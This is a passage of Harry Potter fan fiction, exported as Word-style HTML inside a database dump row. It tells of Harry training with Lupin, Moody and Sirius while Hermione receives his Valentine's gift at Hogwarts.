much like an old, Victorian homestead.&nbsp;\nEverything in site looked to be at least two to three hundred years old.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;In\nhere, Harry, they are waiting for you in the study.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Mathis\nshowed him towards a room guarded by another set of double wooden doors.&nbsp;\nThe old man stopped walking, and Harry turned to face him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Aren&#8217;t\nyou coming?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nHarry, I have duties that I must attend to.&#8221; And he quickly disappeared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nPotter, better get this over with.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ncalmly walked up the doors and opened the right one.&nbsp; He stepped into the\nroom, and his eyes almost bugged out of his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hello\nHarry, it&#8217;s good to see you again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;well&#8230;well&#8230;Harry\nPotter, so old Dumbledore decided to send you to the magic school of hard knox,\neh?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nLupin&#8230;Professor Moody?&#8221; Harry couldn&#8217;t stop gawking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;In\nthe flesh boy.&nbsp; And let&#8217;s not forget number three,&#8221; Moody quipped pointing\nto the other side of the room.&nbsp; Harry turned his head, and his eyes lit\nup.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nHarry, it&#8217;s good to see you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas overjoyed.&nbsp; He&#8217;d been so nervous about having to meet new people, but\nit turned out to some of his oldest friends.&nbsp; Professor Lupin and\nProfessor Moody were two of his former Defense Against the Dark Arts teachers, and\nSirius was his godfather.&nbsp; He couldn&#8217;t ask for better trainers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis great!&nbsp; I didn&#8217;t know it was going to be you three.&#8221; Lupin stood up\nfrom his chair and walked over to the young man.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nlisten carefully, this is not a picnic.&nbsp; You are here to learn and to\nprepare; we know that Voldomort is returning soon.&nbsp; Albus told us about\nyour Nightmare Curse, and he asked that we help you learn to use your abilities\nfully.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Remus\nis right, boy.&nbsp; We need to whip you into shape fast.&nbsp; We need all the\ngood wizards we can get, and who better than Harry Potter.&nbsp; But you must\nknow, that this will not be easy.&nbsp; In fact, it will a hundred times more\ndifficult than anything you&#8217;ve faced at Hogwarts.&nbsp; Are you sure you wish\nto do this?&#8221; Moody asked, and his magical eye glistened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nclosed his eyes and took a deep breath.&nbsp; He thought back to everything\nthat had happened to him over the passed few months &#8211; his nightmares, his talk\nwith Dumbledore, he and Hermione.&nbsp; Harry suddenly got the vision of\nVoldomort standing over a helpless Hermione laughing sadistically as he\nprepared to recite the killing curse.&nbsp; No, he would not let it happen; he\nrefused to let it happen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry?&#8221;\nSirius asked, walking over to him.&nbsp; The young man opened his eyes and\nlooked at the three men with an eye of determination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;When\ndo I begin?&#8221; The three smiled at their pupil.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let&#8217;s\nget to work.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 8, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nsat in the Gryffindor common room trying to finish her Arithmacy homework, but\nshe just couldn&#8217;t focus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;One\nmonth&#8230;I can&#8217;t believe it&#8217;s already been one month.&#8221; She felt a tightening in\nher chest, and her eyes dampened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I\nmiss you, Harry.&#8217; She said to herself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After\nhe&#8217;d left, Hermione had withdrawn into herself.&nbsp; She wasn&#8217;t a complete\nhermit, but she rarely talked to anyone outside of Ron, Lavender, Pavarati, and\nHagrid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nwas afraid that she would become chronically depressed if this kept up, but he\ncould understand how she felt.&nbsp; Hogwarts wasn&#8217;t the same without Harry\nPotter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Everything\nwas different now.&nbsp; The Gryffindors weren&#8217;t even close to winning the\nHouse Cup, and their quidditch team wasn&#8217;t fairing much better.&nbsp; Hagrid had\nlost some his enthusiasm in teaching about exotic creatures, and he never got\ninto trouble anymore.&nbsp; Even Malfoy was quiet; his favorite target was now\ngone.&nbsp; He had no one that he wanted to annoy around anymore.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nhardest day had been Valentine&#8217;s Day.&nbsp; Hermione had been miserable the\nwhole day until she got a special delivery during dinner.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Both\nshe and Ron had sent Harry several letters, and he&#8217;d replied without\ndelay.&nbsp; His letters were one of the reasons why Hermione wasn&#8217;t totally\nreclusive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Just\nas the feast began, a familiar screech could be heard from the rafters.&nbsp;\nHermione smiled brightly as she saw Hedwig swooped down towards the Gryffindor\ntable.&nbsp; The snowy, white owl dropped a box into her arms, and Hermione\nnearly shredded the brown wrapping.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;See\nHerm, I told you Harry wouldn&#8217;t forget what day it was,&#8221; Lavender\nquipped.&nbsp; Her friend blushed slightly and continued opening her package.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\non, I wanna see what he sent!&#8221; Pavarati said enthusiastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nunwrapped the package to find a heart-shaped box of chocolates, a card, and a\nlong, slender, black, velvet case.&nbsp; She opened the box of candy to see\nthat it was divided into three sections &#8211; strawberry, caramel, and truffles.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How\nsweet, he even remembered my favorites,&#8221; Hermione sighed dreamily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nwhat&#8217;s the card say?&#8221; Lavender prodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nopened the envelope and drew out the card.&nbsp; On the front was a picture of\nbeautiful, red rose, and it had been enchanted to bloom over and over\nagain.&nbsp; She opened the card and recognized Harry&#8217;s handwriting inside:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>To\nmy sweet Hermione,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Roses\nare red</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Violets\nare blue</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>But\nnothing shall ever be</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>As\nbeautiful as you</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nYours Forever,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ncouldn&#8217;t help it as tears welled up in her eyes.&nbsp; She picked up the velvet\ncase and realized that it was in fact a jewelry case.&nbsp; Her fingers were\ntrembling as she opened it.&nbsp; Inside, she found a heart-shaped necklace and\na small note.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">I\nwant you to have this because wherever you go my heart goes with you.&nbsp; We\nwill be together soon, sweetheart, but until then, wear this as a temporary\nreplacement.&nbsp; I love you, now and always.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntears fell freely, but they were tears of joy.&nbsp; Hermione took out the gold\nnecklace and placed it around her neck.&nbsp; She clutched the locket in her\nhand and could almost feel his heart beating in her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I\nlove you too, Harry,&#8217; she said silently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Unlike\nHermione, Harry&#8217;s Valentine&#8217;s Day wasn&#8217;t quite that peachy.&nbsp; He jumped and\nrolled out of the way as a circle of fire exploded around where he previously\nstood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\ndone, Harry, now keep going,&#8221; Lupin urged him.&nbsp; Harry ducked and dodged as\nhis three trainers tried to hit him with various spells.&nbsp; He jumped out of\nthe way of a thunder attack thrown by Moody and just barely missed being\npetrified by Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Remus,\nMoody,&#8221; Sirius shouted.&nbsp; Harry knew what they were doing; they were going\nto try and attack him all at once.&nbsp; He&#8217;d been training for this; he just\nhoped that he could pull it off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Petrificas!&#8221;\nSirius shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Infernas!&#8221;\nLupin added.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Aquas\ntorenche!&#8221; Moody finished.&nbsp; Harry had less than a second.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Barrias\nerecte!&#8221; he shouted.&nbsp; A magical barrier came up around him, and it blocked\nthe three curses.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good\nHarry, now maintain it!&#8221; Moody ordered.&nbsp; The three men increased the power\nof the attacks, and Harry felt as if he was in bubble that was slowing\nshrinking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">His\nwand began shaking, and his forearm was vibrating as the barrier absorbed the\nmagic spells.&nbsp; Harry knew that he couldn&#8217;t hold this much longer, but he\nhad too.&nbsp; He had to!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\non, Harry, concentrate!&#8221; Lupin instructed.&nbsp; His expression fell as he saw\nthe young wizard go down to one knee.&nbsp; Harry&#8217;s teeth were clenched tight\nas he tried to maintain his spell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dammit\nHarry, how do you expect to win?&nbsp; How do expect to protect Hermione?&#8221;\nSirius shouted at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At\nthe mention of his girlfriend&#8217;s name, Harry&#8217;s eyes snapped open.&nbsp; He kept\nseeing the same vision in his mind.&nbsp; Voldomort standing over Hermione; his\nwand pointed at her just waiting to kill her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nWILL!!!&#8221; he shouted.&nbsp; The barrier around him expanded and flung the three\nmen off their feet.&nbsp; They landed no less than twenty feet away.&nbsp;\nHarry looked at his three trainers; he couldn&#8217;t believe what he&#8217;d done.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, are you all right?&#8221; he asked, hoping that they weren&#8217;t hurt.&nbsp; To\nhis surprise, they all smiled and started laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nboy, you&#8217;re just full of surprises,&#8221; Moody snickered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nHarry, you do have great power within you,&#8221; Lupin added.&nbsp; Sirius walked up\nto his godson and put his hand on the young man&#8217;s shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\nwas excellent, Harry, but you need to learn to control your power.&nbsp; It\nseems that you are strongest when your emotions are focused on the ones you\ncare about.&nbsp; You need to try and stay focused on them when you\nfight.&nbsp; Think about them and use your feelings as a tool.&nbsp; Emotions\ncan be a strong ally with magical power.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sirius\nis right, young Potter.&nbsp; A wizard&#8217;s emotions can amplify or weaken his\npower.&nbsp; Think of Voldomort, he is filled with nothing but hatred and\nbitterness; that produces an enormous amount of negative power.&nbsp; You must\ncounter that with your own power; you must use the love and friendship of the\nones you care about.&nbsp; Only then, can you stand a chance,&#8221; Moody explained.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\ntry&#8230;really I will.&nbsp; It&#8217;s just that&#8230;&#8221; Harry closed his eyes and turned his\nhead away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmiss her,&#8221; Sirius said matter-of-factly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmiss Hermione don&#8217;t you?&nbsp; You miss her, Ron, and everyone at Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes&#8230;yes,\nI do, but I keep reminding myself that I need to be ready when Voldomort\nreturns.&nbsp; I can&#8217;t be distracted right now, or they could all end up dead.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\nLupin said softly, &#8220;&#8230;it is good that you are focused on your objective, but\ndon&#8217;t shut yourself off from your friends.&nbsp; Balance your feelings and your\nduty; it is difficult to do; but I know that you can do it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\ndon&#8217;t you go see them?&#8221; Sirius stated with a wide smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But&#8230;but\nI can&#8217;t enter Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Here\nPotter, I thought you might want this back someday.&#8221; Moody tossed him a piece\nof rolled up parchment.&nbsp; Upon opening it, Harry nearly jumped.&nbsp; It\nwas the Marauder&#8217;s Map that George and Fred Weasley had given him back in his\nsecond year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nMoody, I thought you destroyed this,&#8221; Harry gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nyou never used it to really &#8216;break the rules&#8217; so I decided that you should have\nit back.&#8221; The old man&#8217;s magical eye glinted, and Harry grinned at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsure you brought your Invisibility Cloak didn&#8217;t you, Harry?&#8221; Lupin quipped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, all of you, but I can&#8217;t accept this, not yet.&nbsp; I will use it 